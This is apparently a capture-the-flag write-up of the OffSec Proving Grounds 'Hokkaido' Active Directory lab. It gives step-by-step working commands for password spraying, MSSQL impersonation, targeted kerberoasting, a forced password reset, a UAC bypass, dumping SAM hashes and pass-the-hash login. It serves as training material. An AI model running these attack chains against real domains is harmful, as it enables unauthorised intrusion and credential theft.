writeup 2026-01-26 · 4 min read

OffSec Proving Grounds Hokkaido Writeup (AD)

Windows AD box. info:info opens the domain, SYSVOL leaks Start123!, MSSQL impersonation gives hrapp-service, and Server Operators dumps the SAM.

OffSec Proving Grounds Hokkaido Writeup (AD)

Summary

Hokkaido opens with kerbrute enumerating usernames from the xato wordlist, which turns up info, administrator and discovery, and a username as password spray gives info:info. That account can read the SYSVOL share, where scripts/temp/password_reset.txt holds the initial password Start123!, and spraying that lands discovery. Over MSSQL, discovery may impersonate hrappdb-reader, and the sysauth table in the hrappdb database stores hrapp-service with Untimed$Runny in cleartext. BloodHound shows hrapp-service holding GenericWrite over hazel.green, so a targeted kerberoast produces a hash that cracks to haze1988, and hazel.green in turn holds ForceChangePassword over molly.smith, reset here with rpcclient. molly.smith is nested into Server Operators, so an RDP session elevated past UAC saves off the SAM and SYSTEM hives, and secretsdump yields the local Administrator hash for a pass the hash evil-winrm session.

Kerberos Enumeration

Make a smaller username wordlist:

1
awk '{ print tolower($0) }' /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt | awk '!x[$0]++' > usernames-uniq.txt

Use the xato net wordlist to enumerate usernames:

1
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.234.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames-uniq.txt -t 20

Save discovered users to “users.txt”:

1
2
3
info
administrator
discovery

Enumerate their password using username:username combos:

1
kerbrute passwordspray --dc 192.168.234.40 -d hokkaido-aerospace.com users.txt --user-as-pass

This yields a valid credential:

1
2
Username: info
Password: info

LDAP Enumeration

Collect bloodhound data:

1
rusthound-ce -f dc.hokkaido-aerospace.com -d hokkaido-aerospace.com -u 'info' -p 'info' -z -n 192.168.234.40

Perform kerberoasting:

1
nxc ldap 192.168.234.40 -u info -p info --kerberoast k.log

This gives me the hash for “discovery” and “maintenance”. Can’t crack those yet, not with the rockyou.txt wordlist.

Save all users to users.txt:

1
nxc ldap 192.168.234.40 -u info -p info --users-export users.txt

SMB Enumeration

I view which shares I have access to as “info”:

1
nxc smb 192.168.234.40 -u info -p info --shares

I starting mounting all the shares locally one by one with the following command:

1
sudo mount -t cifs //192.168.234.40/SHARENAME mount/ -o username=info,password=info

Then looking for files:

1
sudo find mount/ -type f

Until I found this:

Mounted SYSVOL share with password_reset.txt found under scripts/temp

More specifically, when enumerating the SYSVOL share, I find the following file:

1
hokkaido-aerospace.com/scripts/temp/password_reset.txt

Which contain the following:

1
Initial Password: Start123!

So I immediately passwordspray the domain with this new password:

1
kerbrute passwordspray --dc 192.168.234.40 -d hokkaido-aerospace.com users.txt Start123!

With that, new credential:

1
2
Username: discovery
Password: Start123!

MSSQL Enumeration: Reading Credentials

Connect to the MSSQL instance:

1
mssqlclient.py 'hokkaido-aerospace.com/discovery:Start123!'@hokkaido-aerospace.com -windows-auth

We can impersonate one user named “hrappdb-reader”:

1
2
3
4
SQL (HAERO\discovery  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee          grantor          
----------   --------   ---------------   ----------   --------------   --------------   
b'LOGIN'     b''        IMPERSONATE       GRANT        HAERO\services   hrappdb-reader

Impersonate it:

1
SQL (HAERO\discovery  guest@master)> exec_as_login hrappdb-reader

Visualize available databases:

1
2
3
4
5
6
7
8
SQL (hrappdb-reader  guest@master)> enum_db
name      is_trustworthy_on   
-------   -----------------   
master                    0   
tempdb                    0   
model                     0   
msdb                      1   
hrappdb                   0

View database tables:

1
2
3
SQL (hrappdb-reader  guest@master)> SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
hrappdb         dbo            sysauth      b'BASE TABLE'

Use the database:

1
SQL (hrappdb-reader  guest@master)> USE hrappdb

Dump the sysauth table:

1
2
3
4
SQL (hrappdb-reader  hrappdb-reader@hrappdb)> select * from sysauth
id   name               password           
--   ----------------   ----------------   
 0   b'hrapp-service'   b'Untimed$Runny'

The screenshot below shows some enumeration on the database:

mssqlclient session impersonating hrappdb-reader and dumping the sysauth table

With that, new credentials:

1
2
Username: hrapp-service
Password: Untimed$Runny

Targeted Kerberoast

Hrapp-service user has GenericWrite over Hazel.Green:

BloodHound showing hrapp-service with GenericWrite over hazel.green

I can always perform a shadow credentials attack to avoid changing the password for the user:

1
certipy shadow auto -u hrapp-service -p 'Untimed$Runny'  -dc-ip 192.168.234.40 -account HAZEL.GREEN

This would give me the NTLM hash for the user. For learning reasons, I also performed targeted kerberoast against hazel.green:

1
python3 ~/hacking/tools/targetedKerberoast/targetedKerberoast.py -d hokkaido-aerospace.com --request-user hazel.green --dc-host dc.hokkaido-aerospace.com -u hrapp-service -p 'Untimed$Runny'

Was able to crack the hash with hashcat:

1
hashcat hazel.green.kerberoast /usr/share/wordlists/rockyou.txt --force

With that, new credentials:

1
2
Username: hazel.green
Password: haze1988

Changing Password for molly.smith

User hazel.green has ForceChangePassword over molly.smith:

BloodHound showing hazel.green with ForceChangePassword over molly.smith

I use rpcclient to change their password:

1
2
3
$ rpcclient -N  192.168.234.40 -U 'hazel.green%haze1988'
rpcclient $> setuserinfo2 MOLLY.SMITH 23 'Password123!'
rpcclient $> exit

Vertical Privilege Escalation

molly.smith has membership in some interesting groups, including a privileged one:

BloodHound listing molly.smith's group memberships, including Server Operators

Group memberships:

  • WSUS Reporters

  • WSUS Administrators

  • Server Operators

  • Remote Desktop Users

I connected to the machine as molly.smith via RDP. Despite this user having nested group membership to Server Operators, when I pop a cmd on the system, and run whoami /priv, there’s no high privileges at all.

I can either:

  • Spawn a privileged CMD session via RDP by right-clicking on it and selecting “open as administrator” then logging in as molly.smith to UAC or

  • Transfer RunasCs.exe to the machine and get a privileged session by using the --bypas-uac flag

Then I can transfer SAM and SYSTEM registry hives and decode them like so:

1
2
3
4
5
6
7
8
9
$ secretsdump.py -sam 2026-01-23_12-12-34_192.168.234.40_b19112d6.dat -system 2026-01-23_12-17-35_192.168.234.40_aa809751.dat local 
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x2fcb0ca02fb5133abd227a05724cd961
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376fddb2a2109e4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

And connect to the machine via winrm:

1
evil-winrm -i 192.168.234.40 -u administrator -H d752482897d54e239376fddb2a2109e4
This post is licensed under CC BY 4.0 by the author.